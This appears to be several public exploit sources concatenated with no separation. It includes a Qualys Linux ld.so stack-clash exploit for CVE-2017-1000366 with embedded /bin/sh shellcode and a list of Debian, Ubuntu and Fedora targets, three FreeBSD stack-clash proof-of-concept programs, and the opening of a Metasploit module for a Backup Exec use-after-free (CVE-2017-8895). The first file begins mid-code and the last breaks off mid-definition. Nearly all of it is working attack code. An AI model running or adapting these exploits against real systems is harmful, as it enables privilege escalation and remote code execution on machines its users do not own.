cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA));
}
if (cp >= lda + sizeof(lda)) die();
if (*cp) die();
}
static char rlda[MAX_ARG_STRLEN];
const size_t args = 1 + pads + 1;
char ** const argv = calloc(args, sizeof(char *));
if (!argv) die();
{
char ** ap = argv;
*ap++ = (char *)binary;
size_t i;
for (i = 0; i < pads; i++) {
*ap++ = pad;
}
*ap++ = NULL;
if (ap != argv + args) die();
}
const size_t envs = 2 + ldas + 2;
char ** const envp = calloc(envs, sizeof(char *));
if (!envp) die();
{
char ** ep = envp;
*ep++ = llp;
*ep++ = lhcm;
size_t i;
for (i = 0; i < ldas; i++) {
*ep++ = lda;
}
*ep++ = rlda;
*ep++ = NULL;
if (ep != envp + envs) die();
}
{
static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
}
int pipefd[2];
if (pipe(pipefd)) die();
if (close(pipefd[0])) die();
pipefd[0] = -1;
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
{
#define ABS_LA_DIR "/" LIB "/" LIB_TO_TMP "/"
static const char * const abs_las[] = {
ABS_LA_DIR "" REL_LA,
ABS_LA_DIR "/" REL_LA,
ABS_LA_DIR "/." REL_LA,
ABS_LA_DIR "/.." REL_LA,
};
size_t i;
for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
if (fd <= -1) die();
{
struct stat st;
if (fstat(fd, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_uid != getuid()) die();
if (st.st_uid != geteuid()) die();
}
{
static const
#include "la.so.h"
if (sizeof(la_so) != la_so_len) die();
if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
}
if (fchmod(fd, 04755)) die();
if (close(fd)) die();
}
}
size_t try;
for (try = 1; try <= 65536; try++) {
{
char * cp = mempcpy(rlda, LDA, sizeof(LDA)-1);
size_t rldas = 1 + random() % (65536 / sizeof(struct audit_list));
if (rldas > MAX_RLDAS) die();
if (rldas <= 0) die();
while (rldas--) {
cp = mempcpy(cp, REL_LA ":", sizeof(REL_LA));
}
if (cp >= rlda + sizeof(rlda)) die();
*cp = '\0';
}
if (fflush(stdout)) die();
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
if (dup2(pipefd[1], 1) != 1) die();
if (dup2(pipefd[1], 2) != 2) die();
execve(*argv, argv, envp);
die();
}
int status = 0;
struct timeval start, stop, diff;
if (gettimeofday(&start, NULL)) die();
if (waitpid(pid, &status, WUNTRACED) != pid) die();
if (gettimeofday(&stop, NULL)) die();
timersub(&stop, &start, &diff);
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
if (WIFSIGNALED(status)) {
printf("signal %d\n", WTERMSIG(status));
switch (WTERMSIG(status)) {
case SIGPIPE:
case SIGSEGV:
case SIGBUS:
break;
default:
die();
}
} else if (WIFEXITED(status)) {
printf("exited %d\n", WEXITSTATUS(status));
die();
} else if (WIFSTOPPED(status)) {
printf("stopped %d\n", WSTOPSIG(status));
die();
} else {
printf("unknown %d\n", status);
die();
}
}
die();
}
/*
* Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#define _GNU_SOURCE
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define PAGESZ ((size_t)4096)
#define ALIGN ((size_t)16)
#define PIE_BASE ((uintptr_t)0x80000000)
#define PIE_RAND ((size_t)1<<20)
#define STACK_BASE ((uintptr_t)0xC0000000)
#define STACK_RAND ((size_t)8<<20)
#define MAX_ARG_STRLEN ((size_t)128<<10)
static const struct target * target;
static const struct target {
const char * name;
const char * repl_lib;
} targets[] = {
{
.name = "Debian 9 (stretch)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Debian 10 (buster)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Ubuntu 14.04.5 (Trusty Tahr)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Ubuntu 16.04.2 (Xenial Xerus)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Ubuntu 17.04 (Zesty Zapus)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Fedora 23 (Server Edition)",
.repl_lib = "lib",
},
{
.name = "Fedora 24 (Server Edition)",
.repl_lib = "lib",
},
{
.name = "Fedora 25 (Server Edition)",
.repl_lib = "lib",
},
};
#define die() do { \
printf("died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static const ElfW(auxv_t) * my_auxv;
static unsigned long int
my_getauxval (const unsigned long int type)
{
const ElfW(auxv_t) * p;
if (!my_auxv) die();
for (p = my_auxv; p->a_type != AT_NULL; p++)
if (p->a_type == type)
return p->a_un.a_val;
die();
}
struct elf_info {
uintptr_t map_start, map_end;
uintptr_t dyn_start, dyn_end;
};
static struct elf_info
get_elf_info(const char * const binary)
{
static struct elf_info elf;
const int fd = open(binary, O_RDONLY | O_NOFOLLOW);
if (fd <= -1) die();
struct stat st;
if (fstat(fd, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_size <= 0) die();
#define SAFESZ ((size_t)64<<20)
if (st.st_size >= (ssize_t)SAFESZ) die();
const size_t size = st.st_size;
uint8_t * const buf = malloc(size);
if (!buf) die();
if (read(fd, buf, size) != (ssize_t)size) die();
if (close(fd)) die();
if (size <= sizeof(ElfW(Ehdr))) die();
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
if (ehdr->e_type != ET_DYN) die();
if (ehdr->e_machine != EM_386) die();
if (ehdr->e_version != EV_CURRENT) die();
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();
unsigned int i;
{
int interp = 0;
for (i = 0; i < ehdr->e_phnum; i++) {
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
if (phdr->p_type == PT_INTERP) interp = 1;
if (phdr->p_type != PT_LOAD) continue;
if (elf.map_start) die();
if (phdr->p_offset >= size) die();
if (phdr->p_filesz > size - phdr->p_offset) die();
if (phdr->p_filesz > phdr->p_memsz) die();
if (phdr->p_vaddr != phdr->p_paddr) die();
if (phdr->p_vaddr >= SAFESZ) die();
if (phdr->p_memsz >= SAFESZ) die();
if (phdr->p_memsz <= 0) die();
if (phdr->p_align != PAGESZ) die();
switch (phdr->p_flags) {
case PF_R | PF_X:
if (phdr->p_vaddr) die();
break;
case PF_R | PF_W:
elf.map_start = phdr->p_vaddr & ~(PAGESZ-1);
elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
if (!elf.map_start) die();
break;
default:
die();
}
}
if (!interp) die();
if (!elf.map_start) die();
}
for (i = 0; i < ehdr->e_shnum; i++) {
const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i;
if (!(shdr->sh_flags & SHF_ALLOC)) continue;
if (shdr->sh_size <= 0) die();
if (shdr->sh_size >= SAFESZ) die();
if (shdr->sh_addr >= SAFESZ) die();
#undef SAFESZ
const uintptr_t start = shdr->sh_addr;
const uintptr_t end = start + shdr->sh_size;
if (!(shdr->sh_flags & SHF_WRITE)) {
if (start < elf.map_end && end > elf.map_start) die();
continue;
}
if (start < elf.map_start || end > elf.map_end) die();
if (shdr->sh_type != SHT_DYNAMIC) continue;
if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die();
if (elf.dyn_start) die();
elf.dyn_start = start;
elf.dyn_end = end;
if (!elf.dyn_start) die();
}
if (!elf.dyn_start) die();
free(buf);
return elf;
}
static void
create_needed_lib(const char * const needed)
{
static struct lib {
union {
struct {
ElfW(Ehdr) e;
ElfW(Phdr) p1;
ElfW(Phdr) p2;
ElfW(Phdr) p3;
} h;
char align[PAGESZ];
} u;
char code1[PAGESZ];
char code3[PAGESZ];
char code2[8<<20];
} lib = { .u = { .h = {
.e = {
.e_ident = {
ELFMAG0,
ELFMAG1,
ELFMAG2,
ELFMAG3,
ELFCLASS32,
ELFDATA2LSB,
EV_CURRENT,
ELFOSABI_SYSV,
0
},
.e_type = ET_DYN,
.e_machine = EM_386,
.e_version = EV_CURRENT,
.e_phoff = offsetof(struct lib, u.h.p1),
.e_ehsize = sizeof(ElfW(Ehdr)),
.e_phentsize = sizeof(ElfW(Phdr)),
.e_phnum = 3
},
.p1 = {
.p_type = PT_LOAD,
.p_offset = offsetof(struct lib, code1),
.p_vaddr = 0,
.p_filesz = sizeof(lib.code1),
.p_memsz = sizeof(lib.code1),
.p_flags = PF_R | PF_X,
.p_align = PAGESZ
},
.p2 = {
.p_type = PT_LOAD,
.p_offset = offsetof(struct lib, code2),
.p_vaddr = -(sizeof(lib.code2) + PAGESZ),
.p_filesz = sizeof(lib.code2),
.p_memsz = sizeof(lib.code2),
.p_flags = PF_R | PF_X,
.p_align = PAGESZ
},
.p3 = {
.p_type = PT_LOAD,
.p_offset = offsetof(struct lib, code3),
.p_vaddr = sizeof(lib.code1),
.p_filesz = sizeof(lib.code3),
.p_memsz = sizeof(lib.code3),
.p_flags = PF_R | PF_X,
.p_align = PAGESZ
}
}}};
static const char shellcode[] =
"\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8"
"\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00"
"\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00"
"\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00"
"\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00"
"\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00"
"\x00\x00\x00\xcd\x80";
memset(lib.code2, 0x90, sizeof(lib.code2));
if (sizeof(lib.code2) <= sizeof(shellcode)) die();
memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode));
const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
if (fd <= -1) die();
if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die();
if (fchmod(fd, 0755)) die();
if (close(fd)) die();
}
static const char my_x86_platforms[4][5] = {
"i386", "i486", "i586", "i686"
};
int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
{
const char * const * p = my_envp;
while (*p++) ;
my_auxv = (const void *)p;
}
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
if (my_argc != 1+2) {
printf("Usage: %s target binary\n", my_argv[0]);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
printf("Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(my_argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
printf("Target %zu %s\n", i, target->name);
}
const char * const binary = realpath(my_argv[2], NULL);
if (!binary) die();
if (*binary != '/') die();
if (access(binary, R_OK | X_OK)) die();
const struct elf_info elf = get_elf_info(binary);
printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start);
printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start);
printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start);
printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end);
const char * const slash = strrchr(binary, '/');
if (!slash) die();
if (slash <= binary) die();
const char * const origin = strndup(binary, slash - binary);
if (!origin) die();
printf("origin %s (%zu)\n", origin, strlen(origin));
const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
if (!platform) die();
const size_t platform_len = strlen(platform);
if (platform_len != 4) die();
{
size_t i;
for (i = 0; ; i++) {
if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
if (strcmp(platform, my_x86_platforms[i]) == 0) break;
}
}
const struct {
const char * str;
size_t len;
size_t repl_len;
} DSTs[] = {
#define DST_LIB "LIB"
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
#define DST_PLATFORM "PLATFORM"
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
};
size_t repl_max = strlen(origin);
{
size_t i;
for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
if (repl_max < DSTs[i].repl_len)
repl_max = DSTs[i].repl_len;
}
}
printf("repl_max %zu\n", repl_max);
if (repl_max < 4) die();
static struct {
double probability;
size_t len, gwr, cnt, dst;
} best;
#define LLP "LD_LIBRARY_PATH="
static char llp[MAX_ARG_STRLEN];
#define MAX_GWR (sizeof(llp) - sizeof(LLP))
{
size_t len;
for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) {
size_t gwr;
for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) {
size_t dst;
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1);
const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1);
const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;
if (gwr + bwr >= elf.map_end - elf.dyn_start) continue;
const size_t min = MIN(gwr, elf.dyn_end - elf.map_start);
if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue;
const double probability = (double)min / (double)(PIE_RAND + STACK_RAND);
if (best.probability < probability) {
best.probability = probability;
best.len = len;
best.gwr = gwr;
best.cnt = cnt;
best.dst = dst;
printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n",
len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability);
}
}
}
}
}
if (!best.probability) die();
if (STACK_BASE <= PIE_BASE) die();
const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2);
printf("stack_size %zu\n", stack_size);
#define STRTAB_SIZE (2 * STACK_RAND)
#define NEEDED "./3456789abcdef"
if (sizeof(NEEDED) != ALIGN) die();
static union {
uintptr_t p;
char s[sizeof(void *)];
} strtab_addr;
{
static const ElfW(Dyn) dyn;
if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die();
if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die();
if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die();
}
{
uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2;
const uintptr_t first_needed_addr = needed_addr;
for (;; needed_addr += sizeof(NEEDED)) {
if (needed_addr % sizeof(NEEDED)) die();
strtab_addr.p = needed_addr / 2;
size_t i;
for (i = 0; i < sizeof(strtab_addr.s); i++) {
if (strchr("$:;\\", strtab_addr.s[i])) {
if (i >= 3) die();
break;
}
}
if (i >= sizeof(strtab_addr.s)) break;
}
printf("needed %08x -> %08x (first %08x -> %08x)\n",
needed_addr, strtab_addr.p, first_needed_addr,
needed_addr - first_needed_addr);
if (needed_addr < first_needed_addr) die();
if (needed_addr - first_needed_addr >= STACK_RAND / 4) die();
}
#define INITIAL_STACK_EXPANSION (131072UL)
const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED);
if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die();
static char clash[MAX_ARG_STRLEN];
memset(clash, ' ', sizeof(clash)-1);
if ((strlen(clash) + 1) % ALIGN) die();
const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED)))
/ (sizeof(char *) + sizeof(clash));
printf("#needed %zu #clash %zu\n", needed_envs, clash_envs);
{
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
memset(cp, '/', best.len);
const char * const bwrp = cp + best.gwr;
cp += elf.dyn_start % ALIGN;
if (cp >= bwrp) die();
{
static const ElfW(Dyn) dyn;
for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) {
ElfW(Dyn) * const dynp = (void *)cp;
dynp->d_tag = DT_AUXILIARY;
dynp->d_un.d_ptr = strtab_addr.p;
}
}
if (cp > bwrp) die();
cp = (char *)bwrp;
if (!best.cnt) die();
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
size_t i;
for (i = 0; i < best.cnt; i++) {
*cp++ = '$';
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
*cp++ = '/';
}
if (cp >= llp + sizeof(llp)) die();
if ((strlen(llp) + 1) % ALIGN) die();
if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die();
}
#define LHCM "LD_HWCAP_MASK="
static char lhcm[64];
{
const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN;
if (width <= 0) die();
if ((unsigned int)width > ALIGN) die();
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0)
>= sizeof(lhcm)) die();
if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die();
}
const size_t args = 2 + clash_envs + needed_envs + 1;
char ** const argv = calloc(args, sizeof(char *));
if (!argv) die();
{
char ** ap = argv;
*ap++ = (char *)binary;
*ap++ = "--help";
size_t i;
for (i = 0; i < clash_envs; i++) {
*ap++ = clash;
}
for (i = 0; i < needed_envs; i++) {
*ap++ = NEEDED;
}
*ap++ = NULL;
if (ap != argv + args) die();
}
const size_t envs = 1 + 2;
char ** const envp = calloc(envs, sizeof(char *));
if (!envp) die();
{
char ** ep = envp;
*ep++ = llp;
*ep++ = lhcm;
*ep++ = NULL;
if (ep != envp + envs) die();
}
{
static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
}
int pipefd[2];
if (pipe(pipefd)) die();
if (close(pipefd[0])) die();
pipefd[0] = -1;
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
create_needed_lib(NEEDED);
size_t try;
for (try = 1; try <= 65536; try++) {
if (fflush(stdout)) die();
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
if (dup2(pipefd[1], 1) != 1) die();
if (dup2(pipefd[1], 2) != 2) die();
execve(*argv, argv, envp);
die();
}
int status = 0;
struct timeval start, stop, diff;
if (gettimeofday(&start, NULL)) die();
if (waitpid(pid, &status, WUNTRACED) != pid) die();
if (gettimeofday(&stop, NULL)) die();
timersub(&stop, &start, &diff);
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
if (WIFSIGNALED(status)) {
printf("signal %d\n", WTERMSIG(status));
switch (WTERMSIG(status)) {
case SIGPIPE:
case SIGSEGV:
case SIGBUS:
break;
default:
die();
}
} else if (WIFEXITED(status)) {
printf("exited %d\n", WEXITSTATUS(status));
} else if (WIFSTOPPED(status)) {
printf("stopped %d\n", WSTOPSIG(status));
die();
} else {
printf("unknown %d\n", status);
die();
}
}
die();
}
/*
* FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0)
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static const char * last_page;
static void
clash(void)
{
for (;;) {
const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page <= last_page) die();
if (page == MAP_FAILED) break;
last_page = page;
}
if (!last_page) die();
}
static void
smash_no_jump(const size_t smash_size)
{
char buf[1024];
memset(buf, 'A', sizeof(buf));
if (smash_size > sizeof(buf))
smash_no_jump(smash_size - sizeof(buf));
}
#define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */
int
main(void)
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
clash();
smash_no_jump(SGROWSIZ / 2 * 3);
printf("char at %p: %02x\n", last_page, *last_page);
exit(EXIT_SUCCESS);
}
/*
* FreeBSD_CVE-2017-FGPE.c for CVE-2017-1084 (please compile with -O0)
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static const char * last_page;
static void
alloc(const char * const final)
{
for (;;) {
last_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (last_page == MAP_FAILED) die();
if (last_page >= final) break;
}
}
static void
clash_smash_no_jump(const size_t smash_size)
{
char buf[1024];
memset(buf, 'A', sizeof(buf));
if (smash_size > sizeof(buf))
clash_smash_no_jump(smash_size - sizeof(buf));
}
#define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */
int
main(void)
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
struct rlimit stack;
if (getrlimit(RLIMIT_STACK, &stack)) die();
const size_t smash_size = stack.rlim_cur / 3 * 2;
const size_t final_dist = arc4random() % smash_size;
alloc((const char *)&stack - final_dist);
clash_smash_no_jump(smash_size);
printf("char at %p: %02x; final dist %zu (%zu)\n", last_page, *last_page, final_dist % SGROWSIZ, final_dist);
exit(EXIT_SUCCESS);
}
/*
* FreeBSD_CVE-2017-1085.c
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <unistd.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int
main(const int argc, char * const argv[])
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();
struct rlimit stack;
if (getrlimit(RLIMIT_STACK, &stack)) die();
if (stack.rlim_cur > stack.rlim_max / 3) {
stack.rlim_cur = stack.rlim_max / 3;
if (setrlimit(RLIMIT_STACK, &stack)) die();
execve(*argv, argv, NULL);
die();
}
char * prot_none = NULL;
for (;;) {
prot_none = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (prot_none == MAP_FAILED) die();
if ((uintptr_t)&stack < (uintptr_t)prot_none) die();
if ((uintptr_t)&stack - (uintptr_t)prot_none < stack.rlim_max / 3 * 2) break;
}
if (argc > 1) {
stack.rlim_cur = stack.rlim_max;
if (setrlimit(RLIMIT_STACK, &stack)) die();
}
*prot_none = 'A';
printf("char at %p: %02x\n", prot_none, *prot_none);
exit(EXIT_SUCCESS);
}
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/ndmp_socket'
require 'openssl'
require 'xdr'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::NDMPSocket
def initialize(info={})
super(update_info(info,
'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',
'Description' => %q{
This module exploits a use-after-free vulnerability in the handling of SSL NDMP
connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL
is re-established on a NDMP connection that previously has had SSL established,
the BIO struct for the connection's previous SSL session is reused, even though it
has previously been freed.
This module supports 3 specific versions of the Backup Exec agent in the 14, 15
and 16 series on 64-bit and 32-bit versions of Windows and has been tested from
Vista to Windows 10. The check command can help narrow down what major and minor
revision is installed and the precise of version of Windows, but some other
information may be required to make a reliable choice of target.
NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a
reliability of around 85%. On other versions of Windows, reliability is around 35%
(due to the need to win a race condition across the network in this case; this may
drop further depending on network conditions). The agent is normally installed on
all hosts in a domain that need to be backed up, so if one service crashes, try
again on another :) Successful exploitation will give remote code execution as the
user of the Backup Exec Remote Agent for Windows service, almost always
NT AUTHORITY\SYSTEM.
},
'License' => MSF_LICENSE,
'Author' => [ 'Matthew Daley' ],
'References' =>
[
[ 'CVE', '2017-8895' ],
[ 'VTS', '17-006' ],
[ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]
],
'Platform' => 'win',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[
'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',
{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
],
[
'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',
{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
],
[
'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',
{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
],
[
'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',
{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
],
[
'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',
{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
],
[
'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',
{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
],
[
'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',
{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
],
[
'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',
{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
],
[
'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',
{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
],
[
'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',
{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
],
[
'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',
{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
],
[
'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',
{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
]
],
'DefaultOptions' =>
{
'RPORT' => 10000,
'NumTriggerAttempts' => 50,
'EXITFUNC' => 'thread'
},
'Privileged' => true,
